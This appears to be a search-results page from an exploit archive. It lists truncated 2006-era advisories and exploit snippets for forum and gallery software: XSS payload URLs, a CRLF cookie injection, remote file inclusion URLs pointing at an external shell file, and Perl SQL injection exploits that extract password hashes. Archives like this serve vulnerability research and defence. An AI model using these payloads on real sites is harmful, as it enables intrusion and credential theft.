3227 matches found
Sphider Multiple Xss Vulnerabilities
--------------------------------------------- Sphider Multiple Xss Vulnerabilities --------------------------------------------- Site: http://www.cs.ioc.ee/ando/sphider/ Bug: 1- http://victim/path/search.php/"scriptalert/Soot//script 2-...
RadScripts RadLance 7.0 - popup.php Local File Inclusion
RadScripts RadLance 7.0 - popup.php Local File Inclusion source: https://www.securityfocus.com/bid/17975/info RadLance is prone to a local file-include vulnerability. This may allow unauthorized users to view files and to execute local scripts. RadLance Gold 7.0 is reported affected by this issue...
RadScripts RadLance 7.0 - 'popup.php' Local File Inclusion
source: https://www.securityfocus.com/bid/17975/info RadLance is prone to a local file-include vulnerability. This may allow unauthorized users to view files and to execute local scripts. RadLance Gold 7.0 is reported affected by this issue; other versions may also be vulnerable. !/usr/bin/perl...
vbulletin security Alert
---------------------------------------------------------- Discovered by: Aura ARIA - SECURITY TEAM Gr33t to: O.U.T.L.A.W & R@1D3N & Smok3r ----------------------------------------------------------- » Vendor: Vbulletin » Summary: vbulletin is a powerfull Forum System »Description An administrato...
CuteNews 1.4.1 Multiple vulnerabilities
/ --------------------------------------------------------------- Neo Security Team NST® Advisory 20 --------------------------------------------------------------- Program : CuteNews 1.4.1 Homepage: http://www.cutephp.com Vulnerable Versions: CuteNews 1.4.1 & lower ones Risk: Medium! Impact: Cro...
invision215-SQL.txt
!/usr/bin/perl IPB =2.1.4 exploit possibly 2.1.5 too Brought to you by the Ykstortion security team. The bug is in the pm system so you must have a registered user. The exploit will extract a password hash from the forum's data base of the target user. You need to know the target user's member ID...
Invision Power Board 2.1.5 - from_contact SQL Injection
Invision Power Board 2.1.5 - fromcontact SQL Injection !/usr/bin/perl IPB =2.1.4 exploit possibly 2.1.5 too Brought to you by the Ykstortion security team. The bug is in the pm system so you must have a registered user. The exploit will extract a password hash from the forum's data base of the...
Invision Power Board <= 2.1.5 (from_contact) SQL Injection Exploit
Exploit for unknown platform in category web applications ================================================================== Invision Power Board = 2.1.5 fromcontact SQL Injection Exploit ================================================================== !/usr/bin/perl IPB =2.1.4 exploit possibly...
TopList <= 1.3.8 (PHPBB Hack) Remote File Inclusion Vulnerability
IHST - MFox [email protected] - Vendor = TopList PHPBB - Target = list.php - Exploit : http://target/top/list.php?returnpath=shellurl Bug Discovered by MFox Special thanks to all of my friendZ IHST - Iran HackerZ Security Team irc.governmentsecurity.org h4ckerz.com Www.Hackerz.Com -...
toplistInclude.txt
IHST - MFox [email protected] - Vendor = TopList PHPBB - Target = list.php - Exploit : http://target/top/list.php?returnpath=shellurl Bug Discovered by MFox Special thanks to all of my friendZ IHST - Iran HackerZ Security Team irc.governmentsecurity.org h4ckerz.com Www.Hackerz.Com -...
NSFOCUS SA2006-02 : IBM AIX mklvcopy Local Privilege Escalation Vulnerability
NSFOCUS Security Advisory SA2006-02 IBM AIX mklvcopy Local Privilege Escalation Vulnerability Release Date: 2006-04-24 CVE ID: CVE-2006-1246 http://www.nsfocus.com/english/homepage/research/0602.htm Affected systems & software =================== IBM AIX 5.3 Unaffected systems & software...
Scry Gallery Directory Traversal & Full Path Disclosure Vulnerabilites
Software : Scry Gallery WebSite :http://scry.org/ discovred by :Moroccan Security Team + Directory Traversal : A remote attacker may employ directory traversal strings '../' to access arbitrary files outside of the webroot directory. This flaw is due to an input validation error in the "index.php...
Internet PhotoShow (page) Remote File Inclusion Exploit
No description provided by source. !/usr/bin/perl Exploit by Hessam-x www.hessamx.net sub usage print " Usage: perl hx.pl host cmd shell cmd shell variable\r\n\n"; print " example : perl hx.pl www.milw0rm.com milw0rm.com/hx.txt cmd"; exit; / | \ | | / \ \ / | |/ // \ \ / \ Y // \ | \ /| | // /...
Internet PhotoShow 1.3 - page Remote File Inclusion
Internet PhotoShow 1.3 - page Remote File Inclusion !/usr/bin/perl Exploit by Hessam-x www.hessamx.net sub usage print " Usage: perl hx.pl host cmd shell cmd shell variable\r\n\n"; print " example : perl hx.pl www.milw0rm.com milw0rm.com/hx.txt cmd"; exit; / | \ | | / \ \ / | |/ // \ \ / \ Y // \...
Internet PhotoShow (page) Remote File Inclusion Exploit
Exploit for unknown platform in category web applications ======================================================= Internet PhotoShow page Remote File Inclusion Exploit ======================================================= !/usr/bin/perl Exploit by Hessam-x www.hessamx.net sub usage print " Usag...
PatroNet CMS Xss Vuln
----------------------------------- PatroNet CMS Xss Vuln ----------------------------------- Site : http://www.patronet.hu/ Bug : http://victim/"scriptalert/Soot//script ----------------------------------- Source : http://soot.shabgard.org/bugs/PatroNet-CMS.txt Credit : Soot Shabgard Security Te...
Clansys Multiple Xss Vulnerabilities
--------------------------------------------- Clansys v.1.1 Multiple Xss Vulnerabilities --------------------------------------------- Bug: Clansys v.1.0 1- http://victim/path/index.php?page=archiv&func=search "scriptalert/Soot//script Clansys v.1.1 1-...
Sire2.0Nws.txt
by Moroccan Security Team Geetz To All Freind +File Inclusion: Input passed to the "rub" parameter in "lire.php" isn't properly verified, before it is used to include remote files Successful exploitation requires that "registerglobals" is enabled. lire.php code +Exploit: Exploit...
PHPWebGallery Multiple Cross Site Scripting Vulnerabilities
Title : PHPWebGallery Multiple Cross Site Scripting Vulnerabilities Author: Mourad aka Psych0 root at linuxmail org Moroccan Security Team Vendor: www.phpwebgallery.net Software: PHPWebGallery Version: 1.4.1 category.php and picture.php scripts are vulnerable to XSS attacks. Exploits:...
phpMyForum Cross Site Scripting & CRLF injection
Title : phpMyForum Cross Site Scripting & CRLF injection Author: Mourad aka Psych0 Moroccan Security Team Vendor: www.phpmyforum.de Version: 4.0 Examples: http://target/path/index.php?page=xsscode&type=text2Fcss http://target/path/index.php?template=css&type=someurl0d0aSet-Cookie3Aheader...